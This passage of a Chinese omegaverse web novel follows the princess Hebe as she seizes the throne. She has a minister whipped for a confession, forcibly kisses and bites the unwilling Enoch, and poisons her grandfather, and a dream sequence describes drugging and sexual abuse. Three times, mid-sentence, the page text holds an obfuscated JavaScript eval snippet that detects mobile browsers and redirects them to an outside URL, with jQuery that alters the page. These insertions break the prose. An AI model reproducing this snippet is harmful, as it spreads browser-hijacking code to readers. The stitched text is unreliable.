赫柏踏进监狱,尤利斯做了大半辈子的辅政大臣,气势全无,靠在墙边,一身条纹囚服,从未有过的憔悴。 在赫柏过来前,他被狱医打了麻醉,动弹不得,垂眼冷哼:“公主殿下不去忙着登基典礼,大驾光临探望我,所为何事啊。” 尤利斯是皇帝安东尼奥最亲密的伙伴,一度手眼通天,一向看不上这年幼的储君,他和财团的伙伴推被饮酒,置换权力金钱时,谁也想不到有天会折损在赫柏丫头这儿。 从陷害以诺,到当场翻出政商勾结的隐私,赫柏下手太狠,完全没让他们来得及反应,就一手组建了专门的调查委员会,把他和几个埃利森集团的人送进监狱。 赫柏叫身后的路易斯进来,看向监狱右上角唯一的监控,“今天整个监狱,所有的监控全都坏了,路易斯,你可以想尽一切办法,向尤利斯大人讨要一封认罪书,只要不让他死了就好。” “真的,做什么都可以吗?”路易斯歪歪脑袋问。 “当然。” 她推门离开,尤利斯凄厉地大叫,“赫柏,你真恶毒!你们想要对我做什么!” 赫柏背靠金属监狱门,百无聊赖地握着打火机,点燃,熄灭,看微小地火苗跳跃,听着里面接连的惨叫声,黑发间的耳朵微动。 房间里的众多刑具,路易斯选择了鞭子,不出她所料,鞭子,会带来不致命的,极大的疼痛,血肉绽开的场面,也会为施暴者带来极大心理满足。 她靠在冰凉的墙壁上,深深嗅着监狱里传出的血腥气味,似乎这样就能平复血液中汹涌流淌着的恶念和杀意。 可是不行,她好不了了。只要闭上眼,她的脑海就会浮现那些梦境的片段,从她十五岁分化开始,她经常梦到以诺,都是不好的画面,他双腿残疾,躺在一张残破的席子上,在脏兮兮的监狱里,身上更脏,衣服残破得难以蔽体,双腿满是凌.虐的伤痕,各种水渍,无法合拢。 整个监狱全是难闻的气味,每一天,不同的贵族排队进来,在他身上发泄恶意,往他的血管里注射各种药剂,让他彻底抛掉羞耻心,在痛痒难耐时咬住旁人的裤腿主动求欢,事后他们给他精神控制药物,让他忘记寻死。 她被长久的梦境折磨,每次醒来都头痛欲裂,心脏狂跳不止,有时又觉得荒谬,以诺明明好好地做着上将,即将代表帝国出战,电视直播画面里的他意气风发,朗眉星目,说“那是一场必胜的战役,我不会绝辜负帝国臣民的期待”,怎么可能变成阶下囚。 等军舰失事,以诺重伤的消息传来,她知道梦境全都是真的,那些可怕的事情,会一一应验在他身上。 她要保护他,用了四个月时间不动声色地暗中筹谋,加速夺权,为他安排手术,她做到了,可她越来越焦虑,因为她很清楚,自己和梦里那些恶心的人,本质上是一样的。 和重伤的以诺相处了几个月,她确定他是这世上最美好的存在,所有像她一样生性卑劣的人,都会深深被他吸引,如果不能得到他的青眼,就会生出恶念,想要摧毁他的一身傲骨,让他的身体和意志全部破碎,用这样的方式代偿永远没有办法进入他内心的遗憾。 她既想坐在以诺身边,作为晚辈聆听他的教诲,却克制不住肮脏的念想,想要触碰他温热的皮肤,感受他孱弱的脉搏,清韧的骨骼之下不屈的灵魂,这个念头一日比一日难以抑制。 可是,以诺不可能屈服,在梦里,他到死也没有求饶过一句。 赫柏点点下巴,干涩的双眼多了一些泪意。 她即便什么都不做,也会被以诺讨厌,单单一个泽维尔,一个莉莉丝,就已经让他对她生出嫌隙。 她表面乖巧,背地里做了多少过分的事,比弄断泽维尔的双腿,关押莉莉丝更甚的事,以诺早晚会知道,这个认知让她非常焦虑。 “殿下,尤利斯大人已经签了认罪书。” 路易斯推门出来,双手举起他想要的认罪书,脸颊边抿起两个小酒窝,赫柏揉揉他的金发,没往监狱里面看一眼,“我们走吧。” “殿下,谢谢。”路易斯壮着胆子拉住赫柏的手腕,张开双臂拥抱她,深处晦暗血腥的监狱,却宛如贵族舞会上的贴面舞蹈,他侧过脸,想往殿下的面颊落下一个亲吻。 赫柏握住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赫柏把一把黑短发薅回耳边,拿起一把手.枪,子弹上膛,自从上次在飞船里不欢而散,她已经逃避了两个月,没去见以诺,她真的很想他,现在就要见到他。 她忍不住一直想,有关以诺的问题,总是很容易让她殚精竭虑,她忍不住想他为什么要和莉莉丝约在赫舍尔街区,不知名的小咖啡店。因为那里有帝国最负盛名的诺顿公学,以诺和莉莉丝曾经在懵懂的年纪里牵着手一起走在校园里吗? 她叫隐秘在周围的亲卫先不要动,自己开了一枪打中安帕的左腿,让他在疼痛之下不得不放开以诺,再逆着惊恐的人群来到他们身边,从莉莉丝手里夺过以诺。 “亲王,您没事吧?”女孩的脸被齐刘海披肩短发衬托得尤其稚嫩,纯黑的眼瞳里满是担忧,一手紧紧搂着他的腰身,一只手则握着手.枪按在他前胸,冒着热气的枪口抵着他惊魂未定的心脏。 13. 第 13 章 以诺两个月没见赫柏了,她的存在感却一直很强,他身边的卫兵全部都是赫柏的人,包括亚瑟,会向她如实禀报他的一举一动。 他就像活在一个真空的笼子里,和赫柏送来的那只,用以观赏的金尾雀处于同样的地位,但他没有觉得难过,只是深深地担忧赫柏的心理状况,几次给她留言希望和她见面谈谈,毫无回音。 以诺看向环抱着他的女孩,她看起来恢复了不少精神气,一侧的齐肩黑发勾在肉肉的耳朵后面,线条圆润流畅的脸颊挂着柔和的笑意,用他熟悉的恭敬且亲昵的口吻说:“亲王殿下,您没有受伤吧?” “我没事。” “赫柏,你为了这贱人,伤害你最亲密的家人,你一定会后悔的!你这样对待你的叔叔和祖父,一定会下地狱的!以诺,他是个人人都能上的婊.子……” “砰——”赫柏确保以诺站稳,放了他,转身往不断聒噪的安帕那儿再开了一腔,射中他的肩膀,这次安帕直接疼晕。 “吵死了。” 公主殿下看着血液浸染了光洁的咖啡厅地面,失血过多晕死过去的安帕,黑瞳闪过一束邪肆的幽光,转身面对以诺和莉莉丝却天真无邪:“都说被逼急了的疯狗什么都做得出来,什么人到他面前都会被咬上一口,今天算是见识到了。” 她对和以诺的上一次的不欢而散作出解释:“因为尤利斯大人的案件牵扯众多,我怕莉莉丝小姐贸然和以诺亲王见面,会横生事端,所以先将莉莉丝小姐关押了,等查明和尤利斯的案子确实没有关系,就立即叫了放人。”看向莉莉丝,“多有冒犯,在这向您说声抱歉,莉莉丝小姐不会生我的气吧。” 莉莉丝面对赫柏只觉得毛骨悚然,上次在法庭外面,她凭着一腔冲动想要向以诺戳穿赫柏的真面目,却被她下令关押了一个月,在监狱里,她没有受伤,却被强令要求每天观看很多恶心的刑罚,用神经链接装置把刑罚的痛苦同步到她的大脑皮层,直到她的心理防线彻底被击溃,大病一场,才被放出来。 赫柏是个小疯子,她什么都做得出来。离开监狱后,举国上下都是新帝即将登基的消息,莉莉丝知道自己没有任何本事和赫柏抗衡,救出她的父亲……已经打算逃到别的帝国,这个时候,以诺却主动联系她,提出要见个面。 窗明几净的咖啡厅,乐手在中央圆台弹奏优雅的钢琴曲,以诺还是一如既往的矜贵风雅,白衬衫黑西服,玉节雕琢的手搅动咖啡。 该死,莉莉丝本能地想要再见他一面,所以来了……她就应该想到赫柏对以诺的占有欲有多吓人,刚坐下来,以诺说了第一句话“赫柏把你关进监狱的事,我替她向你道歉”,安帕就从暗处冲出劫持了以诺,然后赫柏跑出来英雄救美,柔声低语地请求她原谅! 她今天就不该来,应该卷了父亲留下的钱麻溜地跑去其他帝国,犯不着为了以诺激怒这小疯子。 “没事,公主殿下也是为了查清真相,我不会怪罪殿下,”莉莉丝抓起自己的手包,“见到以诺亲王一切安好我就放心了,我还有事先走了,公主殿下,告辞。” 莉莉丝几乎夺门而逃,赫柏对以诺无辜地笑笑,“莉莉丝小姐都已经原谅我了,亲王殿下,您总不会再怪罪我了吧。” 以诺的唇畔浮现浅淡笑意:“当然,我很开心,你没有伤害无辜的人。” 赫柏穿着简单的T恤牛仔裤,还背了个随身背包,看起来非常清爽稚嫩,手.枪在指尖转了半圈,忽然想到什么,拉开背包的拉链,手.枪放进去,掏出一本书。 《机甲与战斗实践学》。 “您知道的,我得到了机会,督办新的军舰,为了不让底下办事的人嘲笑,我要努力自学一下机甲知识,以诺上校,您可是这方面的专家,一定会愿意帮我的吧。” 以诺抚过有些卷边的课本,扉页写着龙飞凤舞的“赫柏·纳塔利”的名字,随手翻了翻和他想象中一样干净的书本内页,“这是中学一年级的知识,你逃课了?” 赫柏点头:“一点也不好玩。因为是您最喜欢的课,所以很认真地学了,但是,在课上总是犯困,直到学期结束,也没能记住那些晦涩的名词,最后求了席琳老师好几天,让我低分过了,现在再看这书,真是两眼一抹黑。” 她表现得太像一个苦恼的孩子,为了繁重的课业忧心,以诺轻咳两声:“没关系,我给你讲讲,很简单的。” 又回到了令以诺舒适的相处方式,赫柏和他相对而坐,带着些许迷茫,乖巧安静地聆听他的建议。 两个月前,那个表现顽劣的,频频冒犯他,刺痛他的赫柏消失无踪。 以诺心道,她是个好孩子,只是从小的遭遇,导致性格和想法有些偏激,只要她愿意改正,他会一直作为长辈接纳和宽慰她。 他很开心能够帮到她,说话的语调不禁轻快了几分,脸上频频浮现笑意。 平心而论以诺是个好老师,比席琳老师要好得多,语气温柔,结合实例,讲得生动有趣,赫柏一开始听得很认真,但是很快她就开始走神了。 除了内容本身真的枯燥无聊之外,她总是被一些别的事情吸引注意力,比如以诺的声音,握着书本的长指,还有精致的眉眼和鼻梁、修长的脖子,严丝合缝的衬衫领口之上,因为讲话而微微震动的喉结。 窗明几净的房间里,他像一块干干净净的奶味棉花抱枕,让她很想抱住他,在他颈间轻嗅气味。 还想亲他,他的嘴唇看起来好软,应该是甜的。 赫柏把自己的食指和中指并起,指腹重重按压下唇,试图平息欲.念,却像火上浇油,那股子痒意放肆喧嚣,到了她自己再也无法压抑的程度。 以诺讲完一章,目光在赫柏脸上停留片刻,放下书本询问:“赫柏,你有在听吗?” 已经连续五天,每天午饭后,赫柏准点到来,花上一个小时的时间听他讲解机甲知识,但她越来越沉默,到今天,从坐下来就没说过一句话,两丸乌黑的眼珠子定定出神。 他担心自己讲得太无聊了,让她不耐烦,却出于礼貌不得不咬牙坚持坐在这儿。 赫柏点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15078909|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说她有在听,把他刚才说的知识点复述了一遍。 “就讲到这里吧,目前学过的章节,足够你和军队还有商人打交道了……”以诺的话头止住,翻到书本最后,他的瞳孔缩紧,赫然见到写满一整页的,他的名字。 “以诺,以诺,以诺……” 不同时期,不同类型的笔写出同一个名字,有时整齐,有时凌乱,可以看出字迹的主人当时怀着怎样不同的心情。 以诺神色错愕,赫柏循着他的目光望向那些陈年的字迹。 不见丝毫窘迫和慌乱,施施然站起,过来坐在他身旁。 “席琳老师说,以诺亲王是她见过的在机甲学上最有天赋的学生,可惜他当年无意继续深造,只想嫁人,真的很可惜,好在后来去了参军,为国效力,她很开心,在心里默默为您祝祷,一切平安。” 赫柏抚摸那些字迹,有些低哑的声音在以诺耳边响起。 这是她写满一整页他名字的理由吗?因为席琳老师在课上常常念叨,所以无意识地写下这么多他的名字,以诺在混乱的思绪中竭力赋予这一行为合理性。 肩上一沉,是赫柏靠近,热烘烘的发顶轻蹭他的脸颊,女孩圈住他的手臂。 “我听说着您的故事长大,亲王殿下。” 赫柏把他的手臂抱在怀里,双手抚过柔软的衬衣面料,感受这副身躯底下,瘦弱但清晰的肌肉线条,奇石嶙峋的肘骨和腕骨,在他开始浑身颤抖时握住他的手掌,十指相扣。 比想象中更好闻呢,赫柏在以诺的肩头落下细密的亲吻,紧盯着他逐渐嫣红的耳朵。 好想亲上去,啃咬他的耳垂,她鼻翼翕动,发出变调的嗓音,“我总是在想,如果我再大几岁就好了,当年,皇室要和斯宾塞家族联姻,最适合的人选,会是我。” “十三年前,你穿上礼服,在教堂的十字架下,等来的妻子,是我。” “你会如愿过上你年少时所期望的,贤夫良父的人生,为我洗手做羹汤,为我操持家务,生儿育女,”以诺在挣扎,身体绷紧呼吸急促,皱着眉头小幅度地推拒,没能阻止赫柏深深拥抱他,她跪在椅子上,双手捧住他滚烫的脸颊,“我会很爱你,绝不让你受到任何伤害,我们会携手走过所有艰难的时刻,死后也一同长眠。” 她的神色实在太压抑癫狂,以诺被名为“赫柏”的气息包围,如同坠入缺氧的深海,不得已张开双唇大口呼吸,精致脆弱的眼尾坠着浑灼的眼泪。 “我……你不应该这样,赫柏,我是你的长辈,我是你姑姑的丈夫,你应该叫我叔叔……” 以诺语无伦次,满脑子只想着斯宾塞家族和皇室世代通婚,赫柏的一位叔祖嫁给他的曾祖奶奶,他的姑姑克里斯丁,也嫁给皇室旁支的一位老亲王,无论怎么说赫柏都是他的晚辈。 赫柏吃掉他的眼泪,从下巴到面颊,鼻尖和唇瓣一并刮过,听到这话抱着他的脖子轻笑,“您说的不错,但,那又怎么样呢?” 她终于目光下移,带着深入骨髓的欲.念,吻上那双柔软的唇。 14. 第 14 章 那又怎么样呢?无论他是谁,他有着怎样的身份,活在怎样一副躯壳里面,是高朋满座还是孑然无依,都没有关系,赫柏喜爱的,至始至终是以诺的灵魂。 遑论她的面前,已经没有任何阻碍,没有任何人可以阻止她独自占有以诺,独自占有,这个念头像毒药渗入她的发肤肌里,日复一日,吞噬她的所有理智。 他的嘴唇比她想象中更柔软,更甜,真好,她终于尝到了。 赫柏的鼻息变得很乱,思绪乱飘,梦境和现实融合变得难以分辨,她在梦里见过这双薄薄的嘴唇糜烂肿胀,满口盛不下的乳白液体从嘴角溢出……她闭眼压抑戾气,重重撞上他的唇,在那上面染上她的气息,不许任何人染指。 “呃啊……”以诺重伤休养了近一年,力量上难以与女性alpha抗衡,而且潜意识里不想伤害赫柏,只能被小自己很多岁的女孩压在椅子里欺负,屈辱地流泪。 却在她蹬上椅子,跨坐在他腿上时,下意识抬手护住她后背,防止她从椅子上摔落。 赫柏不会亲人,只会逮着一片下唇用力啃咬,像咀嚼一块棉花糖,她还了抓了以诺的头发,修剪整齐的指甲从他的耳根划过,虎牙一度咬破他的嘴唇,再把那些血液悉数卷去。 以诺疼得直抽气,赫柏却无知无觉,他渐渐不挣扎了,眼泪流干,眼睛变得黯淡,双手搭在丝绒坐垫的纹绣上。 惊讶吗,愤怒吗?更多的是无力,赫柏,怎么会变成这样?她到底怎么看待他,她在他被全世界背叛的时候,帮助他,支持他,只是因为,她对他存着这样肮脏的心思吗?她的目的,就只是这样,罔顾他的意志,在他身上留下伤痕吗? 一团郁气充斥他的内心,她这样对他,和她招惹亚瑟和路易斯的行为没有任何区别,这样的赫柏,实在是顽劣得太过分了,让他没有办法再原谅。 她自己也知道自己有多过分吧,才会动作急促地,把痛苦传递给他,以诺微微张开唇齿,无声地顺从迎合,希望这样能够减轻赫柏的焦虑。 感知到他的变化,赫柏的动作逐渐缓和,他从脸上感到一片濡湿,那是不属于他的眼泪,赫柏揽紧他的脖子,放开他的嘴唇,脑袋埋在他的脖颈间,从小声抽泣到放声大哭。 以诺不知道该怎么形容如今的状况,公主殿下,明明做了非常恶劣的坏事,却伏在他怀里哭得身体抽搐,眼泪浸透他的衣衫,润湿他的肩膀,硬质短发也毫不客气地刺痛他的脖子和锁骨。 他的双手垂在身侧,松开又握紧,压下拍拍她清瘦的脊背这个念头,把头偏向远离赫柏的一侧,“你先站起来,我们好好说话。” “我不起来,以诺,对不起,你还是会原谅我的,对不对,我想要你爱我,你会爱我的对不对……” 赫柏足足哭了五分钟,口齿不清地哭诉她有多爱他,比世界上任何人都要爱,从很久很久以前到现在,她一直仰望着他,渴望他能回头看她一眼,不要有别的任何人,只有她。 “我不想强迫你,可是,你不会接受我的,我真的很难过,不知道应该怎么做,看见你和莉莉丝小姐那么亲密,我真的太嫉妒了,我好怕你爱上别人,我实在太喜欢你了才会这样的,以诺,求你原谅我,然后爱我。” 是很真诚的忏悔,如果她没有边哭着说话,边断断续续地吮咬他的耳垂,制造出令人面红的声音。 她真的很像一只小狗,在他脸上的每一处留下标记领地的口涎,不,她比可爱的小狗要狡猾得多,眼泪只是她的武器,并非真心。 等她停下哭泣,以诺掐住她的肩胛把她提起来,离开他的身体。 赫柏站在地上,用白皙的手臂抹了两把泪,垂着脑袋,短发遮脸,就是一个知道自己做错事,乖巧认罚的小孩。 她在等待什么,等他说出原谅的话吗?以诺撑着椅子扶手,尝试让痛麻的双腿站立起来,赫柏想要过来搀扶,他摆手,义正词严地拒绝:“请不要再碰我,如果公主殿下,对我还有一点点尊重,就不要再做这样的事。” “你不会再原谅我了吗?”赫柏的眼泪“啪嗒啪嗒”掉落,“为什么呢,你对着出卖你的人,差点害你死去的人都能慷慨原谅,为什么不能原谅我呢?” 以诺认真思考过后,正色说:“除非你向我保证,你再也不会像今天这样对我,那样,等我消了气,会原谅你的,我还会把你当成爱护的晚辈,今天的事,就当从来没有发生过。” “嗬——” 回应他的,是赫柏的冷笑。 “不可能,”赫柏拨开黏在脸颊的乱发,抬起脸,面上全是乱七八糟的泪痕,双眼却已经重新变得黑白分明,她深深看着以诺,一字一顿,“不可能的,我还会这样对你,我会对你做所有alpha对omega做的事,你就算不同意,也做不了任何反抗。” “早晚有天你会意识到,你是我的。” 她说完这番话就走了,似是不愿意看到以诺疏离防备的模样,下次见面,是她的登基大典。 她说的不错,以诺做不了任何反抗,在他浑然不觉的时候,赫柏不仅掌握了他所有的处境,而且掌握了整个帝国。 民意支持率达到了空前的98%,整个帝国的子民都在期盼赫柏殿下顺利登上帝位,带领他们获得更美好的生活;因为埃利森集团垮台而带来贵族利益的重新洗牌,新老贵族皆依附于年轻的新帝,期望她推行的一些新政能为他们带来一些利好。 以诺的身边,全是赫柏的人,毫不掩饰地监视他地一举一动,尤其可怜的亚瑟,他还是一如既往地迷恋赫柏,把“赫柏殿下”挂在嘴边。 以诺不想在背后说赫柏的坏话,看见亚瑟这样,觉得痛心,隐晦地提醒他不要对位高权重的alpha有太多想象。 亚瑟却说,“赫柏殿下才不是那样的alpha,她是全世界最好的人,她会对我很好很好的。” 以诺噎住,不知道还能怎么劝。 六月二十九,新帝的登基典礼,只算中规中矩的隆重,皇帝安东尼奥,前内阁大臣安帕,尤利斯等正在论罪处罚的人,被开了恩典,送到教堂观礼,这些从前权势滔天的大人们个个面如死灰,套在礼服里的身体只剩一把骨头。 赫柏穿戴数百年前伊丽莎白女皇的朝服,纯白丝绸礼裙,大裙摆边上缀着朵朵盛开的月季,根据她的尺寸精细修改了肩膀剪裁,修长的脖颈上只有一串珍珠项链,短发盘起小小的发髻,带着些许稚气的面庞美丽又英气,在六月炎热的天气里,她的出现宛如清风拂过,清爽怡人。 实时星网转播镜头也是如此,她的出现,宽慰了每一个为了观看典礼而在广场上久等了的民众,沉黑的眼睛泛开笑意,穿越镜头,触达每个人的内心。 典礼按部就班地进行,现任皇帝安东尼奥浑浊的双眼含泪,双手颤抖地为赫柏带上皇冠,授予权杖,没有多说一句寄语的话,坐下后紧紧闭着眼睛,似乎身体不太舒服。 镜头从他身上移开。 赫柏在庄严肃穆的曲调里,走向皇室众人的区域,对人群后白鹤般端然站立的以诺伸手。 皇室的成员们只是略微惊讶,到了转播镜头外,市民广场上一片哗然。 接下来应该是轮到庄重的祈福仪式,理应由帝后共同跪在创世女神的神像下,诵读祝祷词,祈求帝国安稳,臣民和乐。 但赫柏殿下还没有成婚,是可以自己完成祈福仪式的,就算非要找一个人共同参与仪式,怎么也不可能是以诺亲王,她姑姑的遗孀。 赫柏的手悬在空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15078910|163450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白色丝质手套上有一块精致的玫瑰刺绣,她仿佛也在等待一株活生生的白玫瑰落在她的手中。 所有人都在猜测她此举的用意,星网上有人说这是一贯的“赫柏式行事作风”,表面温和暗藏机封,完全让人捉摸不透,但最后一切都会依照她的意愿尘埃落定,她邀请以诺一起祈福,一定是有什么别人都不知道的深意。 僵持了一分钟,乐曲到达尾声,指挥眼疾手快地让交响乐团从头开始演奏,曲子开头激昂的小提琴声代表辉煌帝国的开篇,所有人的情绪再度被吊高。 以诺离开人群,把手放在赫柏的手心里。 赫柏牵着他的手,走到教堂中央的女神像下,这期间以诺的心跳得很快,耳边只能听见自己剧烈的心跳声,除此之外的任何声音都消失了。 他曾经憧憬过这副场景吗?是的,他曾经幻想过,他名正言顺的妻子塞克登上皇位,给予他这样的尊荣,但他没想到,在塞克死后十多年,他经历了死而复生的痛苦,能够重新站起来已是万幸,和他并肩来到女神像下的,竟是赫柏。 他们在牧师的引导下相对而跪,以诺第一次这样真切地打量赫柏的脸。 她和小时候的长相差别不大,一个晃神,就像年幼的赫柏在内侍面前乖巧跪下,等人走了立即站起来,拍拍裙角的褶皱,龇牙咧嘴地说自己往他鞋子里放了只青蛙。 恶劣的小魔头,以诺曾经对小赫柏的称呼,她捉弄过包括皇帝安东尼奥在内的所有人,除了他,对他,最过分的只是哭着纠缠一个拥抱。 她的本性原来一直没变,到底想做什么?把他拉出来,是想要达到什么目的吗?他还能给她带来什么吗?以诺一直在猜,直到赫柏握着他的手,站起来,牧师宣告仪式结束。 人群的面色各异,亚瑟站在观礼人员的后排,牙关震颤瑟瑟发抖,面色煞白,路易斯皇子则握紧双拳,紧紧盯着赫柏的身影。 其他人也在猜测殿下的真实用意,赫柏却没有任何要解释的意思,仪式结束后的庆祝派对,她宣布一切从简,不许媒体进行拍摄。 她在城堡的宴会厅里安排了一条长桌,满桌盛宴,主位坐着前皇帝安东尼奥,下首的两个位置,是安帕和尤利斯。 以诺和面色怪异的亚瑟一起进入宴会厅,显然主角就他们几个,前安东尼奥等人的脸色很奇怪,似乎很痛苦,却动弹不得,说不出话,像木偶一样坐在椅子上,眼珠子瞪得几乎爆裂。 赫柏姗姗来迟,侍从关上身后的门。 “好久不见,各位大人。” 赫柏倒了一杯酒,端着酒杯走到安东尼奥身边,低身按住他的肩膀,“亲爱的爷爷,难道不应该为我感到开心吗?今天可是我的登基典礼,我是您唯一的亲孙女,这个帝国的新帝,不对,您的心里只有私生子安帕,是一点儿也不希望我当上这个皇帝的。但您不喜欢我,不妨碍在我心里,您是最尊贵的皇爷爷,这一点,永远都不会变。” 安东尼奥面容赤红,发出粗噶的喘气声,赫柏面向亚瑟,“把药给我。” 亚瑟拿出一包药,小跑着过去双手交给赫柏。 药粉倒进酒里,赫柏边摇晃酒杯边薅起安东尼奥的头发,迫使他仰头喝下,“您应该对这药很熟悉,以诺接受手术前,您指使亚瑟在他的食物里下的毒药,”安东尼奥“唔唔”叫唤剧烈挣扎,拗不过赫柏,酒液顺着嘴角滑落,大部分被他咽进喉咙,“您想把以诺伪装成畏罪自杀,把军舰失火的罪责推到他头上,听说这毒药珍贵,喝下去后,查不出来任何死因,我正愁着怎么让您死呢,多谢了这药。” 安东尼奥的脸色逐渐灰败,眼珠子失去色彩,歪头死了。 以诺看着赫柏亲手杀了她的祖父,心底有一根弦极度拉紧,彻底崩坏。 15. 第 15 章 新皇登基后不久,前任皇帝安东尼奥和他一直暗中支持的私生子安帕离奇暴亡,尤利斯等人则疯疯癫癫地接受清算,根据犯下的罪行判处终身监禁,这些事情只出现在新闻版面的一个小角落里,被新任皇帝颁布的一连串新政盖过。 人们总是憧憬着更美好的未来,而不去关注那些散发着腐朽气味的沉疴,而且,谁会怀疑他们敬爱的皇帝陛下呢,连往这方面一想,都是对她的不敬。 赫柏踏入充满鲜花和荆棘的人生之路,用全国直播的方式,宣布自己的新政理念,以诺抱着枕头坐在昏暗的房间里看完整场直播,赫柏似乎瘦了一点,五官更清晰,锋利,勾唇笑时传递出漫不经心的冷厉,或者说,她不再掩饰她的野心。 当他把一切都串起来,会发现她从来不是什么小白花,一直在他面前装作乖巧,只是为了借助他的关系插手军队,后来,是为了借着他受伤的事从安东尼奥手上夺权。 这样想似乎会让他好受一些,如果只是这样,他会对赫柏表示理解,善良软弱的人,当不了合格的君主,赫柏身在其位,做的没错,而且她放过莉莉丝,足以证明她本性纯善。 但他会想到赫柏跪在他面前的模样,她对他哭着诉说烦恼,小心翼翼地请求,和他之间不要有任何嫌隙,每每想到此处,以诺总会心痛。 “我想冒昧地下一个定义,这就是属于赫柏的时代。”电视里主持人的声音慷慨激昂,赫柏则看着他微笑,眉眼弯弯显得宠溺,让那位年轻的男记者悄然脸红。 七八月的夏天,白日无限拉长,闷热的空气附着在皮肤上,经常让人生出一种呼吸不畅的烦闷感,连笼子里的金尾雀也不再聒噪地叫唤。 清晨,以诺在蝉鸣声声中醒来,先被察觉一阵酒气,而后发现手臂上的重量,赫柏身体蜷缩在他和床沿之间的狭小位置,圆黑的脑袋埋在他肩上。 他先是看着床帐顶部的繁复花纹,半分钟后神智回笼,探向赫柏的脸,拂开她的乱发,让她可以更顺畅地呼吸,她的眼皮轻动,砸巴了几下嘴唇发出梦呓,看着快要清醒了。 以诺下识想叫亚瑟把她扶下去休息,后知后觉,自从他恢复自理能力,就逐渐不再劳烦侍臣,赫柏登基后亚瑟便离开了,离去的时候似乎很开心,应该是如愿去了赫柏身边。 那个单纯的孩子,希望赫柏能够好好对他,不要辜负他的一片真心。 肩窝多了一道重量,在电视里面大方得体,温柔端庄的皇帝陛下,带着醉意爬起来,骑在他身上,捧住他的脸舌头从眼睛鼻子划过,无耻地留下湿漉漉的口水。 以诺的身体僵直,因为屏住呼吸而脸色涨红。 他大概想要把自己憋死,赫柏眯起双眼,捏了把他的耳朵,咬开他的上唇,迫使清冷的空气灌进去。 以诺终于大口呼吸,胸腔微弱地起伏着,颤抖的长睫沾满眼泪,以为隔着一层眼泪,就不必看向她。 赫柏逡巡他的脸,精致,热红,像盛开到极致的红玫瑰,alpha恶劣的本能使然,她凑到他的颈边嗅闻腺体的气味,咧着虎牙往那上面狠狠一咬,以诺像煮熟的虾子一样四肢蜷缩,抖如筛糠,让赫柏有些得意,以为找到了他的命门。 他真的太好欺负了,像静谧的大海无论投下去什么,都会被他如数接纳,然后泛着波光的海面迅速辗平,恢复原状,他自会在别人看不见的地方独自舔舐伤口,平复伤痕,然后原谅所有人。 几乎把下唇咬破,压抑着痛苦的哼叫和所有求饶的话语,在剧烈的生理性疼痛下,依旧保有理智和清醒,就是他能做的所有反抗。 赫柏看着他的金发全部被汗濡湿,目光变得冷冽。 以诺推开她,用上omega训练多年所能达到的最大力量,转向床里侧背对她独自发抖,衣衫贴在背上,显出美丽清峻的肩胛和脊骨的形状。 可惜这副精巧的骨架无法当作防御的盔甲,所有人,都可以轻而易举地把他的防御击溃。 让他疼痛,对alpha而言是巨大的,难以抗拒的诱惑。 赫柏却陷入烦躁,倚在床边拨弄枕头的穗子,听着以诺不绝于缕的哭声,宿醉带来的头痛不断加剧。 她一点儿也不想让他伤心,一开始就是打算徐徐图之,逐渐让他软化,但是,她好像把一切都搞砸了。 皇帝陛下应该怎么做,才能保持威严,她想不出来,只想像小时候追着以诺跑那样,追上去抱住他,轻轻地把额头贴上他的脊背。 双手按住急速跳跃的心脏,轻吻安抚被她咬疼了的腺体,她知道自己很坏,迫不及待遵循心中的意愿接近他,给他痛苦,想要他在因她而哭泣的时候,这个瞬间,心里只有她。 但她真的很自责,为什么会变成这样,她原本是想保护以诺,而不是成为欺侮他的坏人之一。 “对不起,您原谅我好不好,我真的知道错了,您看我一眼,抱一抱我,叫我的名字,好不好?” 以诺只是浅浅掉了两片眼泪,赫柏却在大声嚎哭,扯着嗓子哀恸不已,荒唐得让以诺扯了扯嘴角,泪水就此止住,任由赫柏抱紧他大哭大叫。 她声音沙哑,十分可怜地问:“你不愿意再跟我说话了吗?” 以诺回应的只有沉默。 最后赫柏慢慢睡着了,靠着他的背呼吸绵长,眼下带着未干的泪痕,握紧他的一缕头发,以诺回身看了眼她疲惫的脸色,不忍心吵醒,睁着眼睛平躺在床上,静待时间一分一秒流过,等到天色变黑。 赫柏再次苏醒,循着她一直握着的头发抚上他的头颅,让他低头,从他口中索取了一个绵长而轻柔的吻。 然后下床离开,把微张着双唇,依旧保持接吻状态,被勾出低声喘息的他留在床上。 夏天多雨,以诺站在庭院里,伸手去接树叶承载不住的雨水,清雅的面容被雨雾洇湿,琉璃眼瞳浅浅流光。 下课铃声响起,孩子们教学楼里嬉闹,更显得他的身边寂寥冷清。 “以诺亲王,您看啊,赫柏殿下被拍到和路易斯皇子一同出游。”福利院的教师珍妮来到以诺身边给他看了一段视频,“很多人说他们很般配呢。” 